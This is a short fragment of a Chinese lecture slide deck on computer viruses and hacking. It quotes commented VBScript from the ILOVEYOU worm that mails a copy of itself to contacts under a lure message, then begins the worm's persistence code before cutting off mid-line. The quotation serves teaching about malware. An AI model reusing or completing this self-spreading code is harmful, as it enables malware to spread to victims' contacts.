第4章 计算机病毒与黑客(PPT-94).pptVIP

* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * objMail.Subject=“你好!” ‘设置邮件主题 objMail.Body=“这次给你的附件，是我的新文档！” ‘设置信件内容 objMail.Attachments.Add （“c:\virus.vbs”） ‘把自己作为附件扩散出去 objMail.Send ‘发送邮件 Next Next Set objMapi=Nothing ‘清空objMapi变量，释放资源 Set objOA=Nothing ‘清空objOA变量 3．蠕虫病毒的潜伏性 以下是爱虫病毒中的部分代码： On Error Resume Next ‘容错语句，避免程序崩溃 dim wscr,rr set wscr=CreateObject （WScri